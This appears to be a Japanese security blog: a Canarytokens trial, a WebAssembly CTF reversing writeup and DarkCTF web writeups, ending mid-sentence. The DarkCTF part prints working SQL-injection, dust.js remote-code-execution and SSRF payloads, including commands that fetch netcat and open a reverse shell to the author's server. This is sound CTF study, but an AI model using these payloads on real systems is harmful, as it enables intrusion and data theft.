Canarytokensサービスを試してみた
ある調べものをしていたところ、Canarytokensというサービスがあることを知った。
Canarytokensはカナリアトークンを生成するサービスであり、無料で利用できるほか、githubでソースコードやDockerfileが公開されているため自分でサービス稼働環境を構築できる。カナリアトークンとはターゲット(被害者)がWebページ、電子メール、ファイルなどのリソースにアクセスする操作をしたときに、そのアクセスした事実やターゲットの環境情報(IPアドレス、UserAgent、ユーザ名など)を攻撃者に通知するための仕掛けである。
このサービスを知った時は、アクセス解析で使われるようなWebページに極小の透明画像やiframeを埋め込むような方式を想像したが、ドキュメントを読んでいると他にも様々な方式をサポートしていることがわかった。そこで、実際にどういった仕掛けで、どういった情報が記録されるのか試してみることにした。
なお、なぜカナリアというかは、昔の炭鉱でガス発見の警報装置としてカナリアが使われていたことに由来していると思われる。
ja.wikipedia.org
ここから各方式の紹介に入るが、全ての方式に共通して、ターゲットがカナリアトークンに引っかかった時の通知先としてEメールアドレスを指定できる。今回は、以下の使い捨てのメールアドレス発行サービスを使用した。
✉ Guerrilla Mail - Disposable Temporary E-Mail Address
- Web bug / URL token
- DNS token
- Unique email address
- Custom Image Web bug
- Microsoft Word Document
- Acrobat Reader PDF Document
- Windows Folder
- Custom exe / binary
- Cloned Website
- SQL Server
- QR Code
- SVN
- AWS keys
- Fast Redirect
- Slow Redirect
- Slack API key
- まとめ
Web bug / URL token
URLが生成される。
生成されたURLにアクセスすると真っ白な画面が表示される。 HTMLソースを確認すると、ブラウザ情報を記録するようなフィンガープリント機能を持つJavaScriptが実装されていることを確認できる。
URLへアクセス後に以下の通知メールを受信した。
また、カナリアトークンごとにHistoryページが提供され、そこではもっと詳細な記録情報を閲覧できる。
DNS token
canarytokens.comのサブドメインが生成される。
サブドメインにnslookup
コマンドで問合せすると以下の情報が記録された。
Unique email address
Eメールアドレスが生成される。
メール送信すると、以下の情報が記録された。
Custom Image Web bug
画像をアップロードすると、URLが生成される。
imgタグ等でアクセスすると、アップロードした画像が表示され、アクセスした際に情報が記録される。
記録される情報は接続元IPアドレスとUserAgent。
見つからないようにするには、1px×1pxの透明画像を使用すると良いのだと思う。 最初に自分が想像していたカナリアトークンに一番近い。
Microsoft Word Document
Wordファイルが生成される。
開いても特にマクロは埋まっていない。ただ、ヘッダーとフッターが設定されているように見える。
WordファイルをZipファイルとして展開すると、footer2.xmlにINCLUDEPICTURE "http://canarytokens.com/about/traffic/articles/whb0ezqg0ahskmqdwjjndemyg/contact.php"
が埋め込まれており、HTTPリクエストが飛んだようだ。
記録される情報は接続元IPアドレスとUserAgent。
自分の環境ではUserAgentはMozilla/4.0 (compatible; ms-office; MSOffice 16)
となった。
機密ファイルが社外で開かれていないかを確認するために使用できそうだ。
Acrobat Reader PDF Document
PDFファイルが生成される。
Acrbat Readerで開くと以下の警告ダイアログが表示される。
「許可」するとWebブラウザが立ち上がり、URLへのアクセスが発生した。 ただ、HTTPではなくDNSへのアクセスを見ているようで、記録される情報は接続元IPアドレス程度であった。
警告ダイアログが表示されてしまうと、ターゲットに気付かれないようにするのは少々厳しい。
Windows Folder
個人的に一番驚いた手法。
Zipファイルが生成され、Zipファイルを展開するとMy Documents
というフォルダが展開される。
My Documents
フォルダを開くと、エクスプローラーが固まるためしばらく待つと、フォルダの中にdesktop.iniファイルが確認できる。
desktop.iniの中身は以下のとおり。
[.ShellClassInfo] IconResource=\\%USERNAME%.%COMPUTERNAME%.%USERDOMAIN%.INI.jomvcu020919h7fvr2k2er61h.canarytokens.com\resource.dll
フォルダをエクスプローラーで開くだけでDNS通信が発生していたようで、結果、以下の情報が記録された。
これもまた、機密のzipファイルが社外で開かれていないかを確認するために使用できそうだ。
Custom exe / binary
EXEファイルをアップロードすると、カナリアトークンが埋め込まれたEXEファイルが生成される。
ここでは7zのインストール用のEXEファイルで試すことにした。
面白いことに、生成されたEXEファイルをダウンロードすると同時に以下の情報が記録された。
「Microsoft Defenderの仕業かな」と思って設定を確認したところ「サンプルの自動送信」がオンになっていた。
設定をオフにしてから再度EXEファイルを生成すると、ダウンロードすると同時に記録されることは無くなったため予想通り。サンプルの自動送信をすると、Microsoftのサンドボックス環境みたいなところで実行されるのだろうか。
自分でEXEファイルを実行すると、以下の情報が記録された。思ったより情報量は少ない。
ターゲットにEXEを実行させる障壁が高そうだ。 そして折角EXEを実行させられるのであれば、もっと色々なことができそうだ。
Cloned Website
以下のようなJavaScriptが生成される。
if (document.domain != "https://example.com") { var l = location.href; var r = document.referrer; var m = new Image(); m.src = "http://canarytokens.com/"+ "fqcm9lekdo4ibfoh33ivslg05.jpg?l="+ encodeURI(l) + "&r=" + encodeURI(r); }
自分が管理しているWebサイトにこのJavaScriptを埋め込んでおくと、自分のWebサイトをクローンされて、そこに誰かがアクセスした際に、クローン先のサイトのURLの通知をうけることができるようだ。
サイトの運用者側で、フィッシングサイトを見つけるのに役立ちそうだ。
SQL Server
カナリアトークンの生成画面は以下のとおり。 通知のトリガーとなるDML操作とテーブルを指定できる。
実行すると以下のようなSQLが生成される。
--create a stored proc that'll ping canarytokens CREATE proc ping_canarytoken AS BEGIN declare @username varchar(max), @base64 varchar(max), @tokendomain varchar(128), @unc varchar(128), @size int, @done int, @random varchar(3); --setup the variables set @tokendomain = 'h3q9kuxguigeeyscumxvia9s1.canarytokens.com'; set @size = 128; set @done = 0; set @random = cast(round(rand()*100,0) as varchar(2)); set @random = concat(@random, '.'); set @username = SUSER_SNAME(); --loop runs until the UNC path is 128 chars or less while @done <= 0 begin --convert username into base64 select @base64 = (SELECT CAST(N'' AS XML).value( 'xs:base64Binary(xs:hexBinary(sql:column("bin")))' , 'VARCHAR(MAX)' ) Base64Encoding FROM ( SELECT CAST(@username AS VARBINARY(MAX)) AS bin ) AS bin_sql_server_temp); --replace base64 padding as dns will choke on = select @base64 = replace(@base64,'=','-') --construct the UNC path select @unc = concat('\\',@base64,'.',@random,@tokendomain,'\a') -- if too big, trim the username and try again if len(@unc) <= @size set @done = 1 else --trim from the front, to keep the username and lose domain details select @username = substring(@username, 2, len(@username)-1) end exec master.dbo.xp_fileexist @unc; END --add a trigger if data is altered CREATE TRIGGER TRIGGER1 ON TABLE1 AFTER INSERT AS BEGIN exec ping_canarytoken end
環境を作って試すところまでできていないが、SQL文を見ると、SUSER_SNAME()
関数を実行してWindowsのユーザ名を取得し、サブドメイン名として送信しているようだ。
攻撃者の興味を引くようなテーブルを用意して、データベースの中身が窃取されていないかを確認するために使用できそうだ。
QR Code
その名のとおり、QRコードが生成される。
QRコードには以下のようなURLが埋め込まれている。
http://canarytokens.com/feedback/traffic/tags/iuixoweag4nucmn1vo76jk0mv/submit.aspx
アクセスすると記録される情報は接続元IPアドレスとUserAgent。
SVN
以下のコマンドが生成される。
svn propset svn:externals "extras http://dvztaffuww7mzjfe7tw0p75e9.canarytokens.com" .
自分が管理しているリポジトリにこのコマンドを実行することで、誰がか勝手にリポジトリをクローンしたことに気付けるようだ。
AWS keys
実行すると以下のAWSのアクセスキーが生成される。
[default] aws_access_key_id = AKIAXYZDQCENVA3R6Y7J aws_secret_access_key = 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 output = json region = us-east-2
root@kali:~# aws configure --profile canary AWS Access Key ID [None]: AKIAXYZDQCENVA3R6Y7J AWS Secret Access Key [None]: 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 Default region name [None]: us-east-2 Default output format [None]: json root@kali:~# aws s3 ls --profile canary An error occurred (AccessDenied) when calling the ListBuckets operation: Access Denied
20分程度待つと以下の情報が記録された。
Fast Redirect
Web bug / URL token
と似ているが、URLを生成する際にリダイレクト先のURLの指定ができる。
生成されたURLへアクセスすると、指定したURLにリダイレクトされる。
記録される情報は接続元IPアドレスとUserAgent。
Slow Redirect
Fast Redirect
と同様に、URLを生成する際にリダイレクト先のURLの指定ができる。
記録される情報はWeb bug / URL token
と同じで、接続元IPアドレスとUserAgentに加え、ブラウザ情報なども含まれる。
Slack API key
実行すると以下のSlackのAPIキーが生成される。
# Slack API key slack_api_key = xoxp-905439787527-905447633015-1784132156549-acecf32171dd971f2ee2561cd0bd0eae
root@kali:~# curl 'https://slack.com/api/auth.test' \ > -d 'token=xoxp-905439787527-905447633015-1784132156549-acecf32171dd971f2ee2561cd0bd0eae' {"ok":true,"url":"https:\/\/ctorgworkspace.slack.com\/","team":"ct.org","user":"marge.haskell.bridge","team_id":"TSMCXP5FH","user_id":"USMD5JM0F","is_enterprise_install":false}
10分程度待つと以下の情報が記録された。
まとめ
カナリアトークンの使い道としては、生成したURL等を何らかの媒体でばら撒いてハニーポットとして使うほか、機密ファイルの漏洩有無の確認、Webサイトのクローン先のサイトの検出など、多岐にわたる。こちらのサービスと方式のパターンを知っておくと、どこかで役に立ちそうである。実際に何か目的があって使う場合は、自分で環境を立てる方がよさそうだ。
UTCTF 2020 writeup - Wasm Fans Only
某CTFチームのAdvent Calendar 2020向けの記事です。
例年のごとく年末の締めくくりとして今年開催のWeb系のWriteupを読み漁っていたところ、WebAssemblyの問題にいくつか遭遇した。WebAssemblyは比較的Rev問に近く苦手意識があるものの解けるようになりたいと思っていた。そんな折にChromeのWebAssemblyのデバッグ機能が強化された記事を見かけた。
これで少し手が出しやすくなってきた気がしたので、今年の過去問をサンプルに解いてみることにした。
問題
UTCTF 2020のWASM Fans Onlyを解く。
この大会は2020年3月開催であったにもかかわらず、嬉しいことにまだ問題サーバが生きている。
問題サーバはこちら。
https://wasmfans.ga/
また、githubに問題ファイルが公開されているのも嬉しい。
元のCのソースコードも公開されており、答え合わせをしながら解析できるため、初心者にピッタリ。
github.com
またWriteupもあるのも嬉しい。
https://ctftime.org/writeup/18640
なお、後のネタバレになってしまうが、実は問題サーバのホスト名(wasmfans.ga)がキーになっているため、もし上記のgithubのリポジトリから落としてきて自分のサーバで試したい場合は、wasmfans.gaのホスト名で自サーバにアクセスできるよう/etc/hostsやC:\Windows\System32\drivers\etc\hostsを設定すること。
Writeup
HTML/JavaScript解析
まずURLにアクセスすると以下の画面が表示される。
UsernameとPasswordを適当に入力してLog in
ボタンを押下するとTry again!。
なおPasswordの項目IDはflag
である。
Log in
ボタンを押下するとページ内のcheckFlag
関数を呼び、checkFlag
関数はModule._verify_flag();
を呼んでいる。
_verify_flag
はverifyFlag.js
ファイルに定義されており、更にWebAssemblyのverify_flag関数を呼んでいる。
早速ここからWebAssemblyの世界へ突入するが、その前にもう少しverifyFlag.js
ファイルを見てみる。
verifyFlag.js
は非常に大きいファイルで正直わけわからん状態であるが、エラーメッセージの「Try again!」で検索すると、意味がわかるロジックが見つかる。これら3つの関数はWebAssemblyから呼ばれる関数なので覚えておく。
wasmのざっくり静的解析
verifyFlag.wasm
ファイルをverify_flag
で検索するとすぐに関数が見つかる。
ザっと目につく処理を書き出してみる。
0x01826~0x018e8
変数の宣言と初期化?0x018ec~0x01985
ループ処理で何かを55
とXORしている
0x019ac
$env.getString
をcallしている
0x019b8~0x01a23
変数の宣言と初期化?0x01a26~0x1abc
ループ処理で何かの変数を96
とXORしている
0x01ae3
$env.getString
をcallしている
0x01b26~0x01bf3 変数の宣言と移送か何かをしている
0x01c3e~0x01de0
$func23
を呼んでから巨大な処理ブロック内へ。$func23
の返り値が0の場合は$label6
を抜けて$env.lose
を呼ぶ。その後$label9
を抜けて終了。→NG$func23
の返り値が0でない場合は$aes_encrypt_block
を呼ぶ。その後ループ内で何らかの配列を1文字ずつ比較。- 一致しない場合は
$env.lose
を呼ぶ。→NG - ループを抜けた=全ての変数が一致したら
$env.win
を呼ぶ。→OK
- 一致しない場合は
$func23
の解説は省略。フラグ文字列の文字数とprefixとsuffixのチェックである。
8のうち、ポイントとなる処理だけ残して以下に転記した。
call $func23 local.set $var121 block $label9 block $label6 local.get $var121 i32.eqz br_if $label6 (snip) local.get $var133 local.get $var128 local.get $var125 call $aes_encrypt_block local.get $var2 local.get $var122 i32.store offset=12 block $label7 loop $label10 i32.const 16 (snip) local.get $var159 local.get $var160 i32.and local.set $var161 block $label8 local.get $var161 i32.eqz br_if $label8 call $env.lose br $label9 end $label8 (snip) end $label10 unreachable end $label7 local.get $var2 i32.load offset=136 local.set $var165 local.get $var165 call $env.win br $label9 end $label6 call $env.lose end $label9
何となく処理の流れは掴めたので、あとはChromeのDebuggerで変数の値を確認しながら実際に動かしてみる。
wasmの動的解析
※この解析には冒頭で紹介したChromeのWebAssemblyのデバッグ機能を使いたいためChromeのCanary版を使用している。(2020/12/22現在)
verify_flag
の先頭にブレイクポイントを設定し、usernameにaaaaaaaaaaaaaaaa
、Passwordにbbbbbbbbbbbbbbbb
を入力して実行する。
そして、Chromeの新機能を発動するべく右側のペインのenv.memoryで右クリックしてInspect memory
を選択する。
下側のペインにメモリの状態が表示された!ASCII表示もあるぞ!
これまで右側のペインで縦に並んだ変数1つずつしか見れなかったのに、これは嬉しい。
また、変数にカーソル当てると、変数の中がホバーで表示されるようになった!
「え、今までそうじゃなかったの?」と疑問に思う人がいるかもしれないが、2020/12/22現在の安定板のChromeではできない。
このホバーで表示された変数をコピーし、先ほどのメモリインスペクタのアドレス欄に貼り付ける。
(10進数を貼り付けると、自動的に16進数に変換してくれる。)
すると、何かのバイトデータが格納されていることがわかる。読める、読めるぞ。
上図は最初の変数の初期化が終わるあたりまで処理を進めた後の状態であるが、次に55
とXORをとっているループ処理を何周か進めてみると、JavaScriptのDOMへのアクセスっぽい文字列が出てきた。
ループを最後まで進めると、HTMLのflag
項目(Passwordのテキストボックスに入力した文字列)を取得するためのJavaScript呼出し文字列であるdocument.getElementById("flag").value
が出現した。
そして、その次の$env.getString
にこのJavaScript文字列を渡し、Passwordに入力した文字列を取得しメモリに格納された。
同じように次の$env.getString
まで処理を進めると、window.location.hostname
の文字列を渡してホスト名wasmfans.ga
をメモリに格納していることを確認できた。
$func23
まで進めると、返り値0が返ってきてそのままlose処理へ。
$func23
を突破するため、24文字かつprefixがutflag{
、suffixが}
の条件を満たす文字列をPassword項目に入力してリトライ。
無事に突破して$aes_encrypt_block
の呼出しまで進め、渡している変数を確認する。
ここでも変数のホバー表示とメモリインスペクションが活躍する。
渡している3つの変数は以下のとおり。
- Password項目に入力した
utflag{AAAAAAAAAAAAAAAA}
のA×16文字の部分。
- いつの間にかメモリに格納されていた
nasmfans.ga
という文字列。どうやら静的解析の7の処理で生成していたようだ。AESの鍵にあたる。
- 0x00。たぶんAESのIV。
そろそろゴールは近い。
入力文字列をAES暗号化したデータとどのデータと比較しているかだが、ステップ実行しながら変数とメモリインスペクションを確認していくと、以下のバイトデータと比較していそうなことがわかる。
残念ながらメモリインスペクションからコピペができないため、手動で書き出す。
0f ae f8 59 84 b1 28 67 28 18 88 17 64 d3 25 2a
あとはAES復号するだけ。
from Crypto.Cipher import AES encrypted = [0x0f, 0xae, 0xf8, 0x59, 0x84, 0xb1, 0x28, 0x67, 0x28, 0x18, 0x88, 0x17, 0x64, 0xd3, 0x25, 0x2a] key = [] for c in 'nasmfans.ga': key.append(ord(c)) while len(key) != 16: key.append(0) cipher = AES.new(bytes(key), AES.MODE_ECB) print(cipher.decrypt(bytes(encrypted)))
実行する。
root@kali:/mnt/hgfs/CTF/Contest/wasm# python3 solve.py b'fPRv38aICAz31Ix7'
フラグ文字列感は無いが、試しに画面入力してみる。prefixとsuffixは忘れずに。
初めてのWebAssembly問ということで、元のCのソースやWriteupがあるにもかかわらず時間をかけたが、おかげで多少慣れた。直近のChromeのデバッグ機能追加が無ければ心が折れたかもしれない。今後の機能強化も期待したい。
DarkCTF Writeup
仕事や資格試験や夜泣き対応でCTFどころではない状態であったが、それらが同時に落ち着いてきたので久しぶりのCTF。 本ブログにも「この広告は、90日以上更新していないブログに表示しています。」と表示されており、少しあせらされた。
今週末は多数のCTFが開催されていたが、チームメンバーが既に解き始めていたことと、20位まで商品が出ることから、DarkCTFに注力した。 結果は16位で、Digital Oceanの$100 cloud creditsを頂けるようだ。
自分が解いた問題から、いくつかWriteupを書く。
Agent-U
HTMLソース内のコメントにadmin/adminでログインするよう指示がある。ログインすると自分のUserAgentが表示される。
UserAgentに'
を入力するとMySQLのエラーメッセージが表示されるため、SQL Injectionができそう。
ただ、Insert文を実行しているようで、単純な方法では情報が抜き出せない。
以下を参考にして試す。
https://www.exploit-db.com/docs/33253
# curl http://agent.darkarmy.xyz/ -d "uname=admin&passwd=admin&submit=Submit" -A "' or updatexml(1,concat(0x7e,(version())),0) or '" <!DOCTYPE html> <html> <head> <title>Agent U</title> </head> <body> <center><font color=red><h1>Welcome Players To MY Safe House</h1></font></center> <br><br><br> <form action="" name="form1" method="post"> <center> <font color=yellow> Username : </font><input type="text" name="uname" value=""/> <br> <br> <font color=yellow> Password : </font> <input type="text" name="passwd" value=""/></br> <br> <input type="submit" name="submit" value="Submit" /> </center></form> <font size="3" color="#FFFF00"> <br><!-- TRY DEFAULT LOGIN admin:admin --> <br> <br>Your IP ADDRESS is: 162.158.119.79<br><font color= "#FFFF00" font size = 3 ></font><font color= "#0000ff" font size = 3 >Your User Agent is: ' or updatexml(1,concat(0x7e,(version())),0) or '</font><br>XPATH syntax error: '~5.7.31'<br><br><img src="vibes.png" /><br> </font> </div> </body> </html>
XPATH syntax error: '~5.7.31'
というように、version()の実行結果が返ってきた。
ここからDB内のテーブルを見ていたがフラグが見つからない。 問題文を見なおすと、flag format darkCTF{databasename}と記載があった。アッ,ハイ...
# curl http://agent.darkarmy.xyz/ -d "uname=admin&passwd=admin&submit=Submit" -A "' or updatexml(1,concat(0x7e,databasename()),0) or '" (snip) <br>Your IP ADDRESS is: 162.158.118.44<br><font color= "#FFFF00" font size = 3 ></font><font color= "#0000ff" font size = 3 >Your User Agent is: ' or updatexml(1,concat(0x7e,databasename()),0) or '</font><br>FUNCTION ag3nt_u_1s_v3ry_t3l3nt3d.databasename does not exist<br><br><img src="vibes.png" /><br> </font> </div> </body> </html>
フラグ文字列はdarkCTF{ag3nt_u_1s_v3ry_t3l3nt3d}
でした。
Dusty Notes
ノートの追加と削除ができるサービス。 パラメータを変更しながら調査していると、特定の制御文字で例外が発生。
# rm /tmp/cookie;curl http://dusty.darkarmy.xyz/addNotes -c /tmp/cookie -b /tmp/cookie -L -G -H "Cookie:note=j:[]" -d "message=%0d" {"stack":"SyntaxError: Invalid or unexpected token\n at Object.if (/home/ctf/node_modules/dustjs-helpers/lib/dust-helpers.js:215:15)\n at Chunk.helper (/home/ctf/node_modules/dustjs-linkedin/lib/dust.js:769:34)\n at body_1 (evalmachine.<anonymous>:1:972)\n at Chunk.section (/home/ctf/node_modules/dustjs-linkedin/lib/dust.js:654:21)\n at body_0 (evalmachine.<anonymous>:1:847)\n at /home/ctf/node_modules/dustjs-linkedin/lib/dust.js:122:11\n at processTicksAndRejections (internal/process/task_queues.js:79:11)","message":"Invalid or unexpected token"}r
最初のrmコマンドと、curlの-c、-b、-Lオプションは、Cookieを維持してリダイレクトさせないといけないための措置。
スタックトレースより、dust.jsを使用していることがわかる。問題タイトルも示唆していた。
既知の脆弱性が無いか調査すると以下の記事がHIT。
artsploit.blogspot.com
- 配列形式のパラメータにエスケープ処理が適用されないこと
- ifヘルパーを使用するとevalにそのままパラメータが渡されること
これら2つの問題の組合せで発生したRCEのようだ。 スタックトレースを見ると、Object.ifと出ており後者の条件に合致している可能性がありそうだ。
上記の記事を見ながら、以下のコマンドで自分のサーバにHTTPリクエストを発行させてみる。
# rm /tmp/cookie;curl http://dusty.darkarmy.xyz/addNotes -c /tmp/cookie -b /tmp/cookie -L -G -H "Cookie:note=j:[]" --data-urlencode "message[]='-require('child_process').exec('curl myserver')-'"
アクセスが来たので、RCEが成功したことがわかる。
34.89.46.46 - - [26/Sep/2020:20:21:27 +0000] "GET / HTTP/1.1" 200 225 "-" "curl/7.64.0"
フラグだけ取得してもよいが、せっかくなのでリバースシェルを取る。
ncコマンドをダウンロードさせて、実行権限をつけさせて、自サーバに接続させる。
# rm /tmp/cookie;curl http://dusty.darkarmy.xyz/addNotes -c /tmp/cookie -b /tmp/cookie -L -G -H "Cookie:note=j:[]" --data-urlencode "message[]='-require('child_process').exec('curl myserver/nc -o /tmp/nc')-'" # rm /tmp/cookie;curl http://dusty.darkarmy.xyz/addNotes -c /tmp/cookie -b /tmp/cookie -L -G -H "Cookie:note=j:[]" --data-urlencode "message[]='-require('child_process').exec('chmod 777 /tmp/nc')-'" # rm /tmp/cookie;curl http://dusty.darkarmy.xyz/addNotes -c /tmp/cookie -b /tmp/cookie -L -G -H "Cookie:note=j:[]" --data-urlencode "message[]='-require('child_process').exec('/tmp/nc myserver 4444 -e /bin/bash')-'"
root@ip-172-31-6-71:/var/www/html# nc -nvlp 4444 Listening on [0.0.0.0] (family 0, port 4444) Connection from 34.89.46.46 43638 received! ls app.js node_modules package-lock.json package.json public views whoami root ls -la / total 76 drwxr-xr-x 1 root root 4096 Sep 26 03:29 . drwxr-xr-x 1 root root 4096 Sep 26 03:29 .. -rwxr-xr-x 1 root root 0 Sep 26 03:29 .dockerenv drwxr-xr-x 2 root root 4096 Sep 8 07:00 bin drwxr-xr-x 2 root root 4096 Jul 10 21:04 boot drwxr-xr-x 5 root root 340 Sep 26 03:29 dev drwxr-xr-x 1 root root 4096 Sep 26 03:29 etc -rwxr----- 1 root root 38 Sep 26 03:29 flag.txt drwxr-xr-x 1 root root 4096 Sep 26 03:29 home drwxr-xr-x 1 root root 4096 Sep 16 15:24 lib drwxr-xr-x 2 root root 4096 Sep 8 07:00 lib64 drwxr-xr-x 2 root root 4096 Sep 8 07:00 media drwxr-xr-x 2 root root 4096 Sep 8 07:00 mnt drwxr-xr-x 1 root root 4096 Sep 16 15:24 opt dr-xr-xr-x 147 root root 0 Sep 26 03:29 proc drwx------ 1 root root 4096 Sep 26 08:19 root drwxr-xr-x 3 root root 4096 Sep 8 07:00 run drwxr-xr-x 2 root root 4096 Sep 8 07:00 sbin drwxr-xr-x 2 root root 4096 Sep 8 07:00 srv dr-xr-xr-x 13 root root 0 Sep 26 03:29 sys drwxrwxrwt 1 root root 4096 Sep 26 20:28 tmp drwxr-xr-x 1 root root 4096 Sep 8 07:00 usr drwxr-xr-x 1 root root 4096 Sep 8 07:00 var cat /flag.txt darkCTF{n0d3js_l1br4r13s_go3s_brrrr!}
フラグゲット。
darkCTF{n0d3js_l1br4r13s_go3s_brrrr!}
Chain Race
入力したURLにリクエストを発行してレスポンスを表示するサービス。
URLにfile:///etc/passwd
を入力すると以下が返却された。
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false _apt:x:104:65534::/nonexistent:/bin/false localhost8080:x:5:60:darksecret-hiddenhere:/usr/games/another-server:/usr/sbin/nologin
最後の1行のユーザ名にしたがってhttp://localhost:8080/
を入力すると以下が返却された。
<code><span style="color: #000000"> <span style="color: #0000BB"><?php<br />session_start</span><span style="color: #007700">();<br />include </span><span style="color: #DD0000">'flag.php'</span><span style="color: #007700">;<br /><br /></span><span style="color: #0000BB">$login_1 </span><span style="color: #007700">= </span><span style="color: #0000BB">0</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">$login_2 </span><span style="color: #007700">= </span><span style="color: #0000BB">0</span><span style="color: #007700">;<br /><br />if(!(isset(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'user'</span><span style="color: #007700">]) && isset(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'secret'</span><span style="color: #007700">]))){<br /> </span><span style="color: #0000BB">highlight_file</span><span style="color: #007700">(</span><span style="color: #DD0000">"index.php"</span><span style="color: #007700">);<br /> die();<br />}<br /><br /></span><span style="color: #0000BB">$login_1 </span><span style="color: #007700">= </span><span style="color: #0000BB">strcmp</span><span style="color: #007700">(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'user'</span><span style="color: #007700">], </span><span style="color: #DD0000">"admin"</span><span style="color: #007700">) ? </span><span style="color: #0000BB">1 </span><span style="color: #007700">: </span><span style="color: #0000BB">0</span><span style="color: #007700">;<br /><br /></span><span style="color: #0000BB">$temp_name </span><span style="color: #007700">= </span><span style="color: #0000BB">sha1</span><span style="color: #007700">(</span><span style="color: #0000BB">md5</span><span style="color: #007700">(</span><span style="color: #0000BB">date</span><span style="color: #007700">(</span><span style="color: #DD0000">"ms"</span><span style="color: #007700">).@</span><span style="color: #0000BB">$_COOKIE</span><span style="color: #007700">[</span><span style="color: #DD0000">'PHPSESSID'</span><span style="color: #007700">]));<br /></span><span style="color: #0000BB">session_destroy</span><span style="color: #007700">();<br />if ((</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'secret'</span><span style="color: #007700">] == </span><span style="color: #DD0000">"0x1337"</span><span style="color: #007700">) || </span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'user'</span><span style="color: #007700">] == </span><span style="color: #DD0000">"admin"</span><span style="color: #007700">) {<br /> die(</span><span style="color: #DD0000">"nope"</span><span style="color: #007700">);<br />}<br /><br />if (</span><span style="color: #0000BB">strcasecmp</span><span style="color: #007700">(</span><span style="color: #0000BB">$_GET</span><span style="color: #007700">[</span><span style="color: #DD0000">'secret'</span><span style="color: #007700">], </span><span style="color: #DD0000">"0x1337"</span><span style="color: #007700">) == </span><span style="color: #0000BB">0</span><span style="color: #007700">){<br /> </span><span style="color: #0000BB">$login_2 </span><span style="color: #007700">= </span><span style="color: #0000BB">1</span><span style="color: #007700">;<br />}<br /><br /></span><span style="color: #0000BB">file_put_contents</span><span style="color: #007700">(</span><span style="color: #0000BB">$temp_name</span><span style="color: #007700">, </span><span style="color: #DD0000">"your_fake_flag"</span><span style="color: #007700">);<br /><br />if (</span><span style="color: #0000BB">$login_1 </span><span style="color: #007700">&& </span><span style="color: #0000BB">$login_2</span><span style="color: #007700">) {<br /> if(@</span><span style="color: #0000BB">unlink</span><span style="color: #007700">(</span><span style="color: #0000BB">$temp_name</span><span style="color: #007700">)) {<br /> die(</span><span style="color: #DD0000">"Nope"</span><span style="color: #007700">);<br /> } <br />echo </span><span style="color: #0000BB">$flag</span><span style="color: #007700">;<br />}<br />die(</span><span style="color: #DD0000">"Nope"</span><span style="color: #007700">);<br /></span> </span> </code>
phpのhighlight_fileの出力結果のようなので、HTML形式で保存してからブラウザで開く。
<?php session_start(); include 'flag.php'; $login_1 = 0; $login_2 = 0; if(!(isset($_GET['user']) && isset($_GET['secret']))){ highlight_file("index.php"); die(); } $login_1 = strcmp($_GET['user'], "admin") ? 1 : 0; $temp_name = sha1(md5(date("ms").@$_COOKIE['PHPSESSID'])); session_destroy(); if (($_GET['secret'] == "0x1337") || $_GET['user'] == "admin") { die("nope"); } if (strcasecmp($_GET['secret'], "0x1337") == 0){ $login_2 = 1; } file_put_contents($temp_name, "your_fake_flag"); if ($login_1 && $login_2) { if(@unlink($temp_name)) { die("Nope"); } echo $flag; } die("Nope");
条件を満たすuserとsecretのパラメータをセットすればよさそうだが、
if (($_GET['secret'] == "0x1337") || $_GET['user'] == "admin") { die("nope"); }
のチェックが邪魔をしており、完全一致だとここで弾かれる。
strcmp関数とstrcasecmp関数の仕様を確認すると、ただ、各パラメータの条件の判定方法に穴があることがわかる。
結果的に、以下のパラメータで条件を満たしつつ、チェックを迂回できる。
http://localhost:8080/?user=admin1&secret=0X1337
もう1つ条件があり、sha1(md5(date("ms").@$_COOKIE['PHPSESSID']))
のファイル名の作成と削除をしているが、フラグ文字列を出力するには削除に失敗させる必要がある。
一見、date("ms")はミリ秒のように見えるが、実は月
と秒
である。
$_COOKIE['PHPSESSID']
はランダムなセッションIDが入ってくるように見えるが、そもそもCookieをセットしていなければ空である。
よって、同時に複数リクエストを発行すればファイル名が同一になり、先行したリクエストが先にファイルを削除して、後続のリクエストのファイル削除処理が失敗する可能性がある。
3つほどターミナルを開いて、以下のコマンドを実行。
# for i in $(seq 1 100);do curl http://race.darkarmy.xyz:8999/testhook.php --data-urlencode "handler=http://localhost:8080/?user=admin1&secret=0X1337"; done
しばらく待つとターミナルの1つで以下の表示。
NopeNopeNopedarkCTF{9h9_15_50_a3fu1}NopeNopeNopeNopeNopeNopeNopeNopeNopeNopeNopeNopeNopeNopeNope
フラグゲット
CTF{9h9_15_50_a3fu1}
File Reader
ファイルをアップロードするサービス。
適当なファイルをアップロードすると、pdfかdocxにしか対応していないと怒られる。
問題文がMy friend developed this website but he says user should know some Xtreme Manipulative Language to understand this web.
とのことで、XXEを疑う。
docxをアップロードするとページ数が画面に表示された。
docxをzipとして展開してpage
